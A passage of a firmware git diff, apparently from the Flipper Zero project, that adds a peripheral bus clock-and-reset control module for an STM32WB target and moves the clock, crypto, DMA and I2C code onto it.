__VA_ARGS__)) + +#define FURI_HAL_BUS_IS_PERIPH_DISABLED(bus, value, ...) \ + (FURI_HAL_BUS_IS_CLOCK_DISABLED(bus, (value), __VA_ARGS__) && \ + FURI_HAL_BUS_IS_RESET_ASSERTED(bus, (value), __VA_ARGS__)) + +/* Control macro definitions */ +#define FURI_HAL_BUS_RESET_ASSERT(bus, value, grp) LL_##bus##_GRP##grp##_ForceReset(value) +#define FURI_HAL_BUS_RESET_DEASSERT(bus, value, grp) LL_##bus##_GRP##grp##_ReleaseReset(value) + +#define FURI_HAL_BUS_CLOCK_ENABLE(bus, value, grp) LL_##bus##_GRP##grp##_EnableClock(value) +#define FURI_HAL_BUS_CLOCK_DISABLE(bus, value, grp) LL_##bus##_GRP##grp##_DisableClock(value) + +#define FURI_HAL_BUS_PERIPH_ENABLE(bus, value, grp) \ + FURI_HAL_BUS_CLOCK_ENABLE(bus, value, grp); \ + FURI_HAL_BUS_RESET_DEASSERT(bus, value, grp) + +#define FURI_HAL_BUS_PERIPH_DISABLE(bus, value, grp) \ + FURI_HAL_BUS_RESET_ASSERT(bus, value, grp); \ + FURI_HAL_BUS_CLOCK_DISABLE(bus, value, grp) + +#define FURI_HAL_BUS_PERIPH_RESET(bus, value, grp) \ + FURI_HAL_BUS_RESET_ASSERT(bus, value, grp); \ + FURI_HAL_BUS_RESET_DEASSERT(bus, value, grp) + +static const uint32_t furi_hal_bus[] = { + [FuriHalBusAHB1_GRP1] = FURI_HAL_BUS_AHB1_GRP1, + [FuriHalBusDMA1] = LL_AHB1_GRP1_PERIPH_DMA1, + [FuriHalBusDMA2] = LL_AHB1_GRP1_PERIPH_DMA2, + [FuriHalBusDMAMUX1] = LL_AHB1_GRP1_PERIPH_DMAMUX1, + [FuriHalBusCRC] = LL_AHB1_GRP1_PERIPH_CRC, + [FuriHalBusTSC] = LL_AHB1_GRP1_PERIPH_TSC, + + [FuriHalBusAHB2_GRP1] = FURI_HAL_BUS_AHB2_GRP1, + [FuriHalBusGPIOA] = LL_AHB2_GRP1_PERIPH_GPIOA, + [FuriHalBusGPIOB] = LL_AHB2_GRP1_PERIPH_GPIOB, + [FuriHalBusGPIOC] = LL_AHB2_GRP1_PERIPH_GPIOC, + [FuriHalBusGPIOD] = LL_AHB2_GRP1_PERIPH_GPIOD, + [FuriHalBusGPIOE] = LL_AHB2_GRP1_PERIPH_GPIOE, + [FuriHalBusGPIOH] = LL_AHB2_GRP1_PERIPH_GPIOH, +#if defined(ADC_SUPPORT_5_MSPS) + [FuriHalBusADC] = LL_AHB2_GRP1_PERIPH_ADC, +#endif + [FuriHalBusAES1] = LL_AHB2_GRP1_PERIPH_AES1, + + [FuriHalBusAHB3_GRP1] = FURI_HAL_BUS_AHB3_GRP1, + [FuriHalBusQUADSPI] = LL_AHB3_GRP1_PERIPH_QUADSPI, + [FuriHalBusPKA] = LL_AHB3_GRP1_PERIPH_PKA, + [FuriHalBusAES2] = LL_AHB3_GRP1_PERIPH_AES2, + [FuriHalBusRNG] = LL_AHB3_GRP1_PERIPH_RNG, + [FuriHalBusHSEM] = LL_AHB3_GRP1_PERIPH_HSEM, + [FuriHalBusIPCC] = LL_AHB3_GRP1_PERIPH_IPCC, + [FuriHalBusFLASH] = LL_AHB3_GRP1_PERIPH_FLASH, + + [FuriHalBusAPB1_GRP1] = FURI_HAL_BUS_APB1_GRP1, + [FuriHalBusTIM2] = LL_APB1_GRP1_PERIPH_TIM2, + [FuriHalBusLCD] = LL_APB1_GRP1_PERIPH_LCD, + [FuriHalBusSPI2] = LL_APB1_GRP1_PERIPH_SPI2, + [FuriHalBusI2C1] = LL_APB1_GRP1_PERIPH_I2C1, + [FuriHalBusI2C3] = LL_APB1_GRP1_PERIPH_I2C3, + [FuriHalBusCRS] = LL_APB1_GRP1_PERIPH_CRS, + [FuriHalBusUSB] = LL_APB1_GRP1_PERIPH_USB, + [FuriHalBusLPTIM1] = LL_APB1_GRP1_PERIPH_LPTIM1, + + [FuriHalBusAPB1_GRP2] = FURI_HAL_BUS_APB1_GRP2, + [FuriHalBusLPUART1] = LL_APB1_GRP2_PERIPH_LPUART1, + [FuriHalBusLPTIM2] = LL_APB1_GRP2_PERIPH_LPTIM2, + + [FuriHalBusAPB2_GRP1] = FURI_HAL_BUS_APB2_GRP1, +#if defined(ADC_SUPPORT_2_5_MSPS) + [FuriHalBusADC] = LL_APB2_GRP1_PERIPH_ADC, +#endif + [FuriHalBusTIM1] = LL_APB2_GRP1_PERIPH_TIM1, + [FuriHalBusSPI1] = LL_APB2_GRP1_PERIPH_SPI1, + [FuriHalBusUSART1] = LL_APB2_GRP1_PERIPH_USART1, + [FuriHalBusTIM16] = LL_APB2_GRP1_PERIPH_TIM16, + [FuriHalBusTIM17] = LL_APB2_GRP1_PERIPH_TIM17, + [FuriHalBusSAI1] = LL_APB2_GRP1_PERIPH_SAI1, + + [FuriHalBusAPB3_GRP1] = FURI_HAL_BUS_IGNORE, // APB3_GRP1 clocking cannot be changed + [FuriHalBusRF] = LL_APB3_GRP1_PERIPH_RF, +}; + +void furi_hal_bus_init_early() { + FURI_CRITICAL_ENTER(); + + FURI_HAL_BUS_PERIPH_DISABLE(AHB1, FURI_HAL_BUS_AHB1_GRP1, 1); + FURI_HAL_BUS_PERIPH_DISABLE(AHB2, FURI_HAL_BUS_AHB2_GRP1, 1); + FURI_HAL_BUS_PERIPH_DISABLE(AHB3, FURI_HAL_BUS_AHB3_GRP1, 1); + FURI_HAL_BUS_PERIPH_DISABLE(APB1, FURI_HAL_BUS_APB1_GRP1, 1); + FURI_HAL_BUS_PERIPH_DISABLE(APB1, FURI_HAL_BUS_APB1_GRP2, 2); + FURI_HAL_BUS_PERIPH_DISABLE(APB2, FURI_HAL_BUS_APB2_GRP1, 1); + + FURI_HAL_BUS_RESET_ASSERT(APB3, FURI_HAL_BUS_APB3_GRP1, 1); + + FURI_CRITICAL_EXIT(); +} + +void furi_hal_bus_deinit_early() { + FURI_CRITICAL_ENTER(); + + FURI_HAL_BUS_PERIPH_ENABLE(AHB1, FURI_HAL_BUS_AHB1_GRP1, 1); + FURI_HAL_BUS_PERIPH_ENABLE(AHB2, FURI_HAL_BUS_AHB2_GRP1, 1); + FURI_HAL_BUS_PERIPH_ENABLE(AHB3, FURI_HAL_BUS_AHB3_GRP1, 1); + FURI_HAL_BUS_PERIPH_ENABLE(APB1, FURI_HAL_BUS_APB1_GRP1, 1); + FURI_HAL_BUS_PERIPH_ENABLE(APB1, FURI_HAL_BUS_APB1_GRP2, 2); + FURI_HAL_BUS_PERIPH_ENABLE(APB2, FURI_HAL_BUS_APB2_GRP1, 1); + + FURI_HAL_BUS_RESET_DEASSERT(APB3, FURI_HAL_BUS_APB3_GRP1, 1); + + FURI_CRITICAL_EXIT(); +} + +void furi_hal_bus_enable(FuriHalBus bus) { + furi_check(bus < FuriHalBusMAX); + const uint32_t value = furi_hal_bus[bus]; + if(!value) { + return; + } + + FURI_CRITICAL_ENTER(); + if(bus < FuriHalBusAHB2_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_DISABLED(AHB1, value)); + FURI_HAL_BUS_PERIPH_ENABLE(AHB1, value, 1); + } else if(bus < FuriHalBusAHB3_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_DISABLED(AHB2, value)); + FURI_HAL_BUS_PERIPH_ENABLE(AHB2, value, 1); + } else if(bus < FuriHalBusAPB1_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_DISABLED(AHB3, value)); + FURI_HAL_BUS_PERIPH_ENABLE(AHB3, value, 1); + } else if(bus < FuriHalBusAPB1_GRP2) { + furi_check(FURI_HAL_BUS_IS_PERIPH_DISABLED(APB1, value, 1)); + FURI_HAL_BUS_PERIPH_ENABLE(APB1, value, 1); + } else if(bus < FuriHalBusAPB2_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_DISABLED(APB1, value, 2)); + FURI_HAL_BUS_PERIPH_ENABLE(APB1, value, 2); + } else if(bus < FuriHalBusAPB3_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_DISABLED(APB2, value)); + FURI_HAL_BUS_PERIPH_ENABLE(APB2, value, 1); + } else { + furi_check(FURI_HAL_BUS_IS_RESET_ASSERTED(APB3, value)); + FURI_HAL_BUS_RESET_DEASSERT(APB3, FURI_HAL_BUS_APB3_GRP1, 1); + } + FURI_CRITICAL_EXIT(); +} + +void furi_hal_bus_reset(FuriHalBus bus) { + furi_check(bus < FuriHalBusMAX); + const uint32_t value = furi_hal_bus[bus]; + if(!value) { + return; + } + + FURI_CRITICAL_ENTER(); + if(bus < FuriHalBusAHB2_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB1, value)); + FURI_HAL_BUS_PERIPH_RESET(AHB1, value, 1); + } else if(bus < FuriHalBusAHB3_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB2, value)); + FURI_HAL_BUS_PERIPH_RESET(AHB2, value, 1); + } else if(bus < FuriHalBusAPB1_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB3, value)); + FURI_HAL_BUS_PERIPH_RESET(AHB3, value, 1); + } else if(bus < FuriHalBusAPB1_GRP2) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(APB1, value, 1)); + FURI_HAL_BUS_PERIPH_RESET(APB1, value, 1); + } else if(bus < FuriHalBusAPB2_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(APB1, value, 2)); + FURI_HAL_BUS_PERIPH_RESET(APB1, value, 2); + } else if(bus < FuriHalBusAPB3_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(APB2, value)); + FURI_HAL_BUS_PERIPH_RESET(APB2, value, 1); + } else { + furi_check(FURI_HAL_BUS_IS_RESET_DEASSERTED(APB3, value)); + FURI_HAL_BUS_PERIPH_RESET(APB3, value, 1); + } + FURI_CRITICAL_EXIT(); +} + +void furi_hal_bus_disable(FuriHalBus bus) { + furi_check(bus < FuriHalBusMAX); + const uint32_t value = furi_hal_bus[bus]; + if(!value) { + return; + } + + FURI_CRITICAL_ENTER(); + if(bus < FuriHalBusAHB2_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB1, value)); + FURI_HAL_BUS_PERIPH_DISABLE(AHB1, value, 1); + } else if(bus < FuriHalBusAHB3_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB2, value)); + FURI_HAL_BUS_PERIPH_DISABLE(AHB2, value, 1); + } else if(bus < FuriHalBusAPB1_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB3, value)); + FURI_HAL_BUS_PERIPH_DISABLE(AHB3, value, 1); + } else if(bus < FuriHalBusAPB1_GRP2) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(APB1, value, 1)); + FURI_HAL_BUS_PERIPH_DISABLE(APB1, value, 1); + } else if(bus < FuriHalBusAPB2_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(APB1, value, 2)); + FURI_HAL_BUS_PERIPH_DISABLE(APB1, value, 2); + } else if(bus < FuriHalBusAPB3_GRP1) { + furi_check(FURI_HAL_BUS_IS_PERIPH_ENABLED(APB2, value)); + FURI_HAL_BUS_PERIPH_DISABLE(APB2, value, 1); + } else { + furi_check(FURI_HAL_BUS_IS_RESET_DEASSERTED(APB3, value)); + FURI_HAL_BUS_RESET_ASSERT(APB3, FURI_HAL_BUS_APB3_GRP1, 1); + } + FURI_CRITICAL_EXIT(); +} + +bool furi_hal_bus_is_enabled(FuriHalBus bus) { + furi_check(bus < FuriHalBusMAX); + const uint32_t value = furi_hal_bus[bus]; + if(value == FURI_HAL_BUS_IGNORE) { + return true; + } + + bool ret = false; + FURI_CRITICAL_ENTER(); + if(bus < FuriHalBusAHB2_GRP1) { + ret = FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB1, value); + } else if(bus < FuriHalBusAHB3_GRP1) { + ret = FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB2, value); + } else if(bus < FuriHalBusAPB1_GRP1) { + ret = FURI_HAL_BUS_IS_PERIPH_ENABLED(AHB3, value); + } else if(bus < FuriHalBusAPB1_GRP2) { + ret = FURI_HAL_BUS_IS_PERIPH_ENABLED(APB1, value, 1); + } else if(bus < FuriHalBusAPB2_GRP1) { + ret = FURI_HAL_BUS_IS_PERIPH_ENABLED(APB1, value, 2); + } else if(bus < FuriHalBusAPB3_GRP1) { + ret = FURI_HAL_BUS_IS_PERIPH_ENABLED(APB2, value); + } else { + ret = FURI_HAL_BUS_IS_RESET_DEASSERTED(APB3, value); + } + FURI_CRITICAL_EXIT(); + + return ret; +} diff --git a/firmware/targets/f7/furi_hal/furi_hal_bus.h b/firmware/targets/f7/furi_hal/furi_hal_bus.h new file mode 100644 index 000000000..ad4bbec32 --- /dev/null +++ b/firmware/targets/f7/furi_hal/furi_hal_bus.h @@ -0,0 +1,112 @@ +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +#include "stm32wbxx.h" +#include "stdbool.h" + +typedef enum { + FuriHalBusAHB1_GRP1, + FuriHalBusDMA1, + FuriHalBusDMA2, + FuriHalBusDMAMUX1, + FuriHalBusCRC, + FuriHalBusTSC, + + FuriHalBusAHB2_GRP1, + FuriHalBusGPIOA, + FuriHalBusGPIOB, + FuriHalBusGPIOC, + FuriHalBusGPIOD, + FuriHalBusGPIOE, + FuriHalBusGPIOH, +#if defined(ADC_SUPPORT_5_MSPS) + FuriHalBusADC, +#endif + FuriHalBusAES1, + + FuriHalBusAHB3_GRP1, + FuriHalBusQUADSPI, + FuriHalBusPKA, + FuriHalBusAES2, + FuriHalBusRNG, + FuriHalBusHSEM, + FuriHalBusIPCC, + FuriHalBusFLASH, + + FuriHalBusAPB1_GRP1, + FuriHalBusTIM2, + FuriHalBusLCD, + FuriHalBusSPI2, + FuriHalBusI2C1, + FuriHalBusI2C3, + FuriHalBusCRS, + FuriHalBusUSB, + FuriHalBusLPTIM1, + + FuriHalBusAPB1_GRP2, + FuriHalBusLPUART1, + FuriHalBusLPTIM2, + + FuriHalBusAPB2_GRP1, +#if defined(ADC_SUPPORT_2_5_MSPS) + FuriHalBusADC, +#endif + FuriHalBusTIM1, + FuriHalBusSPI1, + FuriHalBusUSART1, + FuriHalBusTIM16, + FuriHalBusTIM17, + FuriHalBusSAI1, + + FuriHalBusAPB3_GRP1, + FuriHalBusRF, + + FuriHalBusMAX, +} FuriHalBus; + +/** Early initialization */ +void furi_hal_bus_init_early(); + +/** Early de-initialization */ +void furi_hal_bus_deinit_early(); + +/** + * Enable a peripheral by turning the clocking on and deasserting the reset. + * @param [in] bus Peripheral to be enabled. + * @warning Peripheral must be in disabled state in order to be enabled. + */ +void furi_hal_bus_enable(FuriHalBus bus); + +/** + * Reset a peripheral by sequentially asserting and deasserting the reset. + * @param [in] bus Peripheral to be reset. + * @warning Peripheral must be in enabled state in order to be reset. + */ +void furi_hal_bus_reset(FuriHalBus bus); + +/** + * Disable a peripheral by turning the clocking off and asserting the reset. + * @param [in] bus Peripheral to be disabled. + * @warning Peripheral must be in enabled state in order to be disabled. + */ +void furi_hal_bus_disable(FuriHalBus bus); + +/** Check if peripheral is enabled + * + * @warning FuriHalBusAPB3_GRP1 is a special group of shared peripherals, for + * core1 its clock is always on and the only status we can report is + * peripheral reset status. Check code and Reference Manual for + * details. + * + * @param[in] bus The peripheral to check + * + * @return true if enabled or always enabled, false otherwise + */ +bool furi_hal_bus_is_enabled(FuriHalBus bus); + +#ifdef __cplusplus +} +#endif diff --git a/firmware/targets/f7/furi_hal/furi_hal_clock.c b/firmware/targets/f7/furi_hal/furi_hal_clock.c index a76fbfbca..9d228f0f5 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_clock.c +++ b/firmware/targets/f7/furi_hal/furi_hal_clock.c @@ -6,7 +6,6 @@ #include #include #include -#include #define TAG "FuriHalClock" @@ -19,36 +18,9 @@ void furi_hal_clock_init_early() { LL_SetSystemCoreClock(CPU_CLOCK_HZ_EARLY); LL_Init1msTick(SystemCoreClock); - - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOA); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOB); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOC); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOD); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOE); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOH); - - LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_SPI1); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_SPI2); - - LL_APB1_GRP2_EnableClock(LL_APB1_GRP2_PERIPH_LPTIM2); - - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_I2C1); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_I2C3); } void furi_hal_clock_deinit_early() { - LL_APB1_GRP1_DisableClock(LL_APB1_GRP1_PERIPH_I2C1); - LL_APB1_GRP1_DisableClock(LL_APB1_GRP1_PERIPH_I2C3); - - LL_APB2_GRP1_DisableClock(LL_APB2_GRP1_PERIPH_SPI1); - LL_APB1_GRP1_DisableClock(LL_APB1_GRP1_PERIPH_SPI2); - - LL_AHB2_GRP1_DisableClock(LL_AHB2_GRP1_PERIPH_GPIOA); - LL_AHB2_GRP1_DisableClock(LL_AHB2_GRP1_PERIPH_GPIOB); - LL_AHB2_GRP1_DisableClock(LL_AHB2_GRP1_PERIPH_GPIOC); - LL_AHB2_GRP1_DisableClock(LL_AHB2_GRP1_PERIPH_GPIOD); - LL_AHB2_GRP1_DisableClock(LL_AHB2_GRP1_PERIPH_GPIOE); - LL_AHB2_GRP1_DisableClock(LL_AHB2_GRP1_PERIPH_GPIOH); } void furi_hal_clock_init() { @@ -137,68 +109,12 @@ void furi_hal_clock_init() { SysTick_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), TICK_INT_PRIORITY, 0)); NVIC_EnableIRQ(SysTick_IRQn); - LL_RCC_SetUSARTClockSource(LL_RCC_USART1_CLKSOURCE_PCLK2); - LL_RCC_SetLPUARTClockSource(LL_RCC_LPUART1_CLKSOURCE_PCLK1); - LL_RCC_SetADCClockSource(LL_RCC_ADC_CLKSOURCE_PLLSAI1); - LL_RCC_SetI2CClockSource(LL_RCC_I2C1_CLKSOURCE_PCLK1); - LL_RCC_SetRNGClockSource(LL_RCC_RNG_CLKSOURCE_CLK48); - LL_RCC_SetUSBClockSource(LL_RCC_USB_CLKSOURCE_PLLSAI1); LL_RCC_SetCLK48ClockSource(LL_RCC_CLK48_CLKSOURCE_PLLSAI1); LL_RCC_HSI_EnableInStopMode(); // Ensure that MR is capable of work in STOP0 LL_RCC_SetSMPSClockSource(LL_RCC_SMPS_CLKSOURCE_HSE); LL_RCC_SetSMPSPrescaler(LL_RCC_SMPS_DIV_1); LL_RCC_SetRFWKPClockSource(LL_RCC_RFWKP_CLKSOURCE_LSE); - // AHB1 GRP1 - LL_AHB1_GRP1_EnableClock(LL_AHB1_GRP1_PERIPH_DMA1); - LL_AHB1_GRP1_EnableClock(LL_AHB1_GRP1_PERIPH_DMA2); - LL_AHB1_GRP1_EnableClock(LL_AHB1_GRP1_PERIPH_DMAMUX1); - LL_AHB1_GRP1_EnableClock(LL_AHB1_GRP1_PERIPH_CRC); - // LL_AHB1_GRP1_EnableClock(LL_AHB1_GRP1_PERIPH_TSC); - - // AHB2 GRP1 - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOA); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOB); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOC); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOD); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOE); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_GPIOH); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_ADC); - LL_AHB2_GRP1_EnableClock(LL_AHB2_GRP1_PERIPH_AES1); - - // AHB3 GRP1 - // LL_AHB3_GRP1_EnableClock(LL_AHB3_GRP1_PERIPH_QUADSPI); - LL_AHB3_GRP1_EnableClock(LL_AHB3_GRP1_PERIPH_PKA); - LL_AHB3_GRP1_EnableClock(LL_AHB3_GRP1_PERIPH_AES2); - LL_AHB3_GRP1_EnableClock(LL_AHB3_GRP1_PERIPH_RNG); - LL_AHB3_GRP1_EnableClock(LL_AHB3_GRP1_PERIPH_HSEM); - LL_AHB3_GRP1_EnableClock(LL_AHB3_GRP1_PERIPH_IPCC); - LL_AHB3_GRP1_EnableClock(LL_AHB3_GRP1_PERIPH_FLASH); - - // APB1 GRP1 - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_TIM2); - // LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_LCD); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_RTCAPB); - // LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_WWDG); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_SPI2); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_I2C1); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_I2C3); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_CRS); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_USB); - LL_APB1_GRP1_EnableClock(LL_APB1_GRP1_PERIPH_LPTIM1); - - // APB1 GRP2 - LL_APB1_GRP2_EnableClock(LL_APB1_GRP2_PERIPH_LPUART1); - - // APB2 - // LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_ADC); - LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_TIM1); - LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_SPI1); - LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_USART1); - LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_TIM16); - LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_TIM17); - // LL_APB2_GRP1_EnableClock(LL_APB2_GRP1_PERIPH_SAI1); - FURI_LOG_I(TAG, "Init OK"); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_crypto.c b/firmware/targets/f7/furi_hal/furi_hal_crypto.c index e0ed3ab9b..eb5c3b782 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_crypto.c +++ b/firmware/targets/f7/furi_hal/furi_hal_crypto.c @@ -1,8 +1,9 @@ #include #include #include +#include + #include -#include #include #include @@ -241,6 +242,8 @@ bool furi_hal_crypto_store_load_key(uint8_t slot, const uint8_t* iv) { furi_assert(furi_hal_crypto_mutex); furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk); + furi_hal_bus_enable(FuriHalBusAES1); + if(!furi_hal_bt_is_alive()) { return false; } @@ -267,10 +270,7 @@ bool furi_hal_crypto_store_unload_key(uint8_t slot) { SHCI_CmdStatus_t shci_state = SHCI_C2_FUS_UnloadUsrKey(slot); furi_assert(shci_state == SHCI_Success); - FURI_CRITICAL_ENTER(); - LL_AHB2_GRP1_ForceReset(LL_AHB2_GRP1_PERIPH_AES1); - LL_AHB2_GRP1_ReleaseReset(LL_AHB2_GRP1_PERIPH_AES1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusAES1); furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk); return (shci_state == SHCI_Success); diff --git a/firmware/targets/f7/furi_hal/furi_hal_dma.c b/firmware/targets/f7/furi_hal/furi_hal_dma.c new file mode 100644 index 000000000..a6a30d906 --- /dev/null +++ b/firmware/targets/f7/furi_hal/furi_hal_dma.c @@ -0,0 +1,14 @@ +#include +#include + +void furi_hal_dma_init_early() { + furi_hal_bus_enable(FuriHalBusDMA1); + furi_hal_bus_enable(FuriHalBusDMA2); + furi_hal_bus_enable(FuriHalBusDMAMUX1); +} + +void furi_hal_dma_deinit_early() { + furi_hal_bus_disable(FuriHalBusDMA1); + furi_hal_bus_disable(FuriHalBusDMA2); + furi_hal_bus_disable(FuriHalBusDMAMUX1); +} diff --git a/firmware/targets/f7/furi_hal/furi_hal_dma.h b/firmware/targets/f7/furi_hal/furi_hal_dma.h new file mode 100644 index 000000000..cadcc7733 --- /dev/null +++ b/firmware/targets/f7/furi_hal/furi_hal_dma.h @@ -0,0 +1,15 @@ +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +/** Early initialization */ +void furi_hal_dma_init_early(); + +/** Early de-initialization */ +void furi_hal_dma_deinit_early(); + +#ifdef __cplusplus +} +#endif diff --git a/firmware/targets/f7/furi_hal/furi_hal_flash.c b/firmware/targets/f7/furi_hal/furi_hal_flash.c index 94d269345..796d20b19 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_flash.c +++ b/firmware/targets/f7/furi_hal/furi_hal_flash.c @@ -11,20 +11,20 @@ #define TAG "FuriHalFlash" #define FURI_HAL_CRITICAL_MSG "Critical flash operation fail" -#define FURI_HAL_FLASH_READ_BLOCK 8 -#define FURI_HAL_FLASH_WRITE_BLOCK 8 -#define FURI_HAL_FLASH_PAGE_SIZE 4096 -#define FURI_HAL_FLASH_CYCLES_COUNT 10000 -#define FURI_HAL_FLASH_TIMEOUT 1000 -#define FURI_HAL_FLASH_KEY1 0x45670123U -#define FURI_HAL_FLASH_KEY2 0xCDEF89ABU -#define FURI_HAL_FLASH_TOTAL_PAGES 256 +#define FURI_HAL_FLASH_READ_BLOCK (8U) +#define FURI_HAL_FLASH_WRITE_BLOCK (8U) +#define FURI_HAL_FLASH_PAGE_SIZE (4096U) +#define FURI_HAL_FLASH_CYCLES_COUNT (10000U) +#define FURI_HAL_FLASH_TIMEOUT (1000U) +#define FURI_HAL_FLASH_KEY1 (0x45670123U) +#define FURI_HAL_FLASH_KEY2 (0xCDEF89ABU) +#define FURI_HAL_FLASH_TOTAL_PAGES (256U) #define FURI_HAL_FLASH_SR_ERRORS \ (FLASH_SR_OPERR | FLASH_SR_PROGERR | FLASH_SR_WRPERR | FLASH_SR_PGAERR | FLASH_SR_SIZERR | \ FLASH_SR_PGSERR | FLASH_SR_MISERR | FLASH_SR_FASTERR | FLASH_SR_RDERR | FLASH_SR_OPTVERR) -#define FURI_HAL_FLASH_OPT_KEY1 0x08192A3B -#define FURI_HAL_FLASH_OPT_KEY2 0x4C5D6E7F +#define FURI_HAL_FLASH_OPT_KEY1 (0x08192A3BU) +#define FURI_HAL_FLASH_OPT_KEY2 (0x4C5D6E7FU) #define FURI_HAL_FLASH_OB_TOTAL_WORDS (0x80 / (sizeof(uint32_t) * 2)) /* STM32CubeWB/Projects/P-NUCLEO-WB55.Nucleo/Applications/BLE/BLE_RfWithFlash/Core/Src/flash_driver.c @@ -35,7 +35,7 @@ > If for any reason this test is never passed, this means there is a failure in the system and there is no other > way to recover than applying a device reset. */ -#define FURI_HAL_FLASH_C2_LOCK_TIMEOUT_MS 3000u /* 3 seconds */ +#define FURI_HAL_FLASH_C2_LOCK_TIMEOUT_MS (3000U) /* 3 seconds */ #define IS_ADDR_ALIGNED_64BITS(__VALUE__) (((__VALUE__)&0x7U) == (0x00UL)) #define IS_FLASH_PROGRAM_ADDRESS(__VALUE__) \ diff --git a/firmware/targets/f7/furi_hal/furi_hal_i2c_config.c b/firmware/targets/f7/furi_hal/furi_hal_i2c_config.c index afc4fdf52..f9d88abb3 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_i2c_config.c +++ b/firmware/targets/f7/furi_hal/furi_hal_i2c_config.c @@ -1,7 +1,8 @@ #include #include #include -#include +#include + #include /** Timing register value is computed with the STM32CubeMX Tool, @@ -21,17 +22,9 @@ FuriMutex* furi_hal_i2c_bus_power_mutex = NULL; static void furi_hal_i2c_bus_power_event(FuriHalI2cBus* bus, FuriHalI2cBusEvent event) { if(event == FuriHalI2cBusEventInit) { furi_hal_i2c_bus_power_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - FURI_CRITICAL_ENTER(); - LL_RCC_SetI2CClockSource(LL_RCC_I2C1_CLKSOURCE_PCLK1); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C1); - FURI_CRITICAL_EXIT(); bus->current_handle = NULL; } else if(event == FuriHalI2cBusEventDeinit) { furi_mutex_free(furi_hal_i2c_bus_power_mutex); - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_I2C1); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C1); - FURI_CRITICAL_EXIT(); } else if(event == FuriHalI2cBusEventLock) { furi_check( furi_mutex_acquire(furi_hal_i2c_bus_power_mutex, FuriWaitForever) == FuriStatusOk); @@ -39,12 +32,11 @@ static void furi_hal_i2c_bus_power_event(FuriHalI2cBus* bus, FuriHalI2cBusEvent furi_check(furi_mutex_release(furi_hal_i2c_bus_power_mutex) == FuriStatusOk); } else if(event == FuriHalI2cBusEventActivate) { FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_I2C1); + 